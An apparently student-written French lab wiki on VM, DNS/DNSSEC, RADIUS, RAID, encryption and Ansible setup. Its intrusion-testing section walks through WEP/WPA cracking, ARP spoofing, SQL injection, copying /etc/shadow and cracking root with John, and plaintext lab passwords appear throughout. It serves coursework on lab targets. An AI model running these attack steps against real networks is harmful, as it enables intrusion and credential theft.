$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
'''<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM'''<br />
<br />
<code>roles/iptables/tasks/main.yml</code><br />
---<br />
<br />
- name: Allow ports INPUT tcp<br />
iptables:<br />
chain: INPUT<br />
protocol: tcp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_tcp_ports } }"<br />
<br />
- name: Allow ports INPUT udp<br />
iptables:<br />
chain: INPUT<br />
protocol: udp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_udp_ports } }"<br />
<br />
- name: Set the policy for the INPUT chain to DROP<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
policy: DROP<br />
<br />
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la <code>POLICY</code> à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)<br />
<br />
Nos ports sont variabilisés:<br />
<br />
<code>roles/iptables/defaults/main.yml</code><br />
---<br />
<br />
iptables_accepted_tcp_ports:<br />
- 8600<br />
- 8500<br />
- 8501<br />
- 8502<br />
- 8301<br />
- 8302<br />
- 8300 <br />
- 22<br />
- 80<br />
- 443<br />
<br />
iptables_accepted_udp_ports:<br />
- 8600<br />
- 8301<br />
- 8302<br />
- 22<br />
- 80<br />
- 443<br />
<br />
voilà<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: config.json<br />
dest: /etc/consul/server.json<br />
owner: consul<br />
group: consul<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Et le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57987TP sysres IMA5 2021/2022 G62022-01-12T12:08:48Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
